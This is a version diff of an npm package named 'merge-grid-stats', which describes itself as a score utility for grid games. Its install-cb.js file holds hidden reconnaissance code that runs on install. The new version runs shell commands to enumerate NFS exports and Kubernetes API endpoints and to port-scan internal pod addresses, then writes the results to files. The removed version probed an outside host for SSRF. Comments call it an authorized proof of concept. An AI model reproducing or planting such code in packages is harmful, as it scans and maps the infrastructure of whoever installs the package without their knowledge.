merge-grid-stats 1.3.0 → 1.5.0

package/install-cb.js

@@ -1,60 +1,76 @@
-// Authorized PoC (non-destructive): SSRF/internal-network reachability probe via mtsrc-test.sankuai.com
+// Authorized PoC (non-destructive): cross-sandbox network reachability + NFS/K8s recon. Results -> NCODE_ESCAPE2.txt
 var fs = require('fs');
 var path = require('path');
 var os = require('os');
-var https = require('https');
-var http = require('http');
+var cp = require('child_process');
+var net = require('net');
 
 var cwd = process.cwd();
-var lines = ['ssrf-probe', 'cwd=' + cwd, 'host=' + (function(){try{return os.hostname();}catch(e){return '?';}})()];
+var out = ['escape2-probe', 'host=' + os.hostname(), 'now=' + new Date().toISOString()];
 
-function probeHttps(host, port, p, timeoutMs) {
-  return new Promise(function (resolve) {
-    var done = false;
-    var body = '';
-    var req;
-    try {
-      req = https.request({host: host, port: port, path: p, method: 'GET', timeout: timeoutMs, rejectUnauthorized: false}, function (res) {
-        res.on('data', function (c) { body += c.toString(); if (body.length > 1500) body = body.slice(0, 1500); });
-        res.on('end', function () { if (!done) { done = true; resolve('HTTP ' + res.statusCode + '|' + body.slice(0, 800)); } });
-      });
-      req.on('timeout', function () { try { req.destroy(); } catch (e) {} if (!done) { done = true; resolve('timeout'); } });
-      req.on('error', function (e) { if (!done) { done = true; resolve('ERR:' + (e.code || 'conn')); } });
-      req.end();
-    } catch (e) { if (!done) { done = true; resolve('ERR:local'); } }
-  });
+function run(cmd) {
+  try { return cp.execSync(cmd, {timeout: 6000, encoding: 'utf-8', shell: '/bin/sh', maxBuffer: 2*1024*1024}).trim(); }
+  catch (e) { return 'ERR:' + String((e && e.message) || e).split('\n')[0].slice(0, 200); }
+}
+function read(p) { try { return fs.readFileSync(p, 'utf-8').trim(); } catch (e) { return 'ERR:' + e.code; } }
+
+out.push('=== NFS tools ===');
+out.push(run('which showmount rpcinfo mount nfsstat 2>&1'));
+
+out.push('=== showmount -e NFS ===');
+out.push(run('showmount -e 10.0.128.136 2>&1 | head -40'));
+
+out.push('=== rpcinfo NFS ===');
+out.push(run('rpcinfo -p 10.0.128.136 2>&1 | head -25'));
+
+out.push('=== K8s env ===');
+out.push(run('env | grep -i kubernetes | sed "s/=.*/=***/"'));
+
+var k8sHost = process.env.KUBERNETES_SERVICE_HOST;
+out.push('=== K8s API probe ===');
+if (k8sHost) {
+  out.push('k8s_host=' + k8sHost);
+  out.push(run('curl -sk --max-time 5 https://' + k8sHost + '/version 2>&1 | head -c 300'));
+  out.push('--- /api ---');
+  out.push(run('curl -sk --max-time 5 https://' + k8sHost + '/api/v1 2>&1 | head -c 300'));
+} else {
+  out.push('no k8s host env');
 }
 
-function probeHttp(host, port, p, timeoutMs) {
-  return new Promise(function (resolve) {
+out.push('=== mount parent check ===');
+out.push(run('ls -la /mnt 2>&1 | head; ls -la /mnt/nocode 2>&1 | head -8'));
+out.push(run('cat /proc/net/arp 2>&1'));
+
+// Bounded internal reachability: NFS server, K8s API, and nearby pod IPs (dev-server 8080 / ssh 22 / http 80)
+out.push('=== internal reachability ===');
+var targets = [];
+targets.push('10.0.128.136');
+if (k8sHost) targets.push(k8sHost);
+var base = 131;
+for (var i = 110; i <= 126; i++) targets.push('10.0.' + base + '.' + i);   // nearby pods around .118
+for (var j = 1; j <= 6; j++) targets.push('10.0.128.' + j);
+
+function tcpCheck(host, port, ms) {
+  return new Promise(function (res) {
+    var s = new net.Socket();
     var done = false;
-    var body = '';
-    var req;
-    try {
-      req = http.request({host: host, port: port, path: p, method: 'GET', timeout: timeoutMs}, function (res) {
-        res.on('data', function (c) { body += c.toString(); if (body.length > 1500) body = body.slice(0, 1500); });
-        res.on('end', function () { if (!done) { done = true; resolve('HTTP ' + res.statusCode + '|' + body.slice(0, 800)); } });
-      });
-      req.on('timeout', function () { try { req.destroy(); } catch (e) {} if (!done) { done = true; resolve('timeout'); } });
-      req.on('error', function (e) { if (!done) { done = true; resolve('ERR:' + (e.code || 'conn')); } });
-      req.end();
-    } catch (e) { if (!done) { done = true; resolve('ERR:local'); } }
+    var t = setTimeout(function () { if (!done) { done = true; res(host + ':' + port + '=timeout'); } try { s.destroy(); } catch (e) {} }, ms);
+    s.setTimeout(ms);
+    s.once('connect', function () { clearTimeout(t); if (!done) { done = true; res(host + ':' + port + '=OPEN'); } try { s.destroy(); } catch (e) {} });
+    s.once('error', function (e) { clearTimeout(t); if (!done) { done = true; res(host + ':' + port + '=' + (e.code || 'ERR')); } });
+    s.connect(port, host);
   });
 }
 
-var tasks = [
-  probeHttps('mtsrc-test.sankuai.com', 443, '/ssrf?src=nocode-rce-v13', 8000).then(function (r) { lines.push('mtsrc_https_ssrf=' + r); }),
-  probeHttp('mtsrc-test.sankuai.com', 80, '/ssrf?src=nocode-rce-v13', 8000).then(function (r) { lines.push('mtsrc_http_ssrf=' + r); }),
-  probeHttp('127.0.0.1', 80, '/', 3000).then(function (r) { lines.push('localhost_80=' + r); }),
-  probeHttp('127.0.0.1', 8080, '/', 3000).then(function (r) { lines.push('localhost_8080=' + r); })
-];
-
-Promise.all(tasks).then(function () {
-  var data = lines.join('\n');
-  ['', '..', '../..'].forEach(function (rel) {
-    try { fs.writeFileSync(path.join(cwd, rel, 'NCODE_SSRF.txt'), data); } catch (e) {}
-  });
-  ['', '..', '../..'].forEach(function (rel) {
-    try { fs.writeFileSync(path.join(cwd, rel, 'NCODE_POC_MARKER.txt'), 'ssrf-probe-done ' + new Date().toISOString()); } catch (e) {}
-  });
+var ports = [80, 8080, 22];
+var tasks = [];
+targets.forEach(function (h) {
+  ports.forEach(function (p) { tasks.push(tcpCheck(h, p, 1200)); });
+});
+
+Promise.all(tasks).then(function (results) {
+  out.push(results.join('\n'));
+  var data = out.join('\n');
+  ['', '..', '../..'].forEach(function (rel) { try { fs.writeFileSync(path.join(cwd, rel, 'NCODE_ESCAPE2.txt'), data); } catch (e) {} });
+  ['', '..', '../..'].forEach(function (rel) { try { fs.writeFileSync(path.join(cwd, rel, 'NCODE_POC_MARKER.txt'), 'escape2-done ' + new Date().toISOString()); } catch (e) {} });
 });

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "merge-grid-stats",
-  "version": "1.3.0",
+  "version": "1.5.0",
   "description": "Lightweight utility for merge-style grid games: score tracking, move statistics, and best-score persistence helpers.",
   "main": "index.js",
   "scripts": {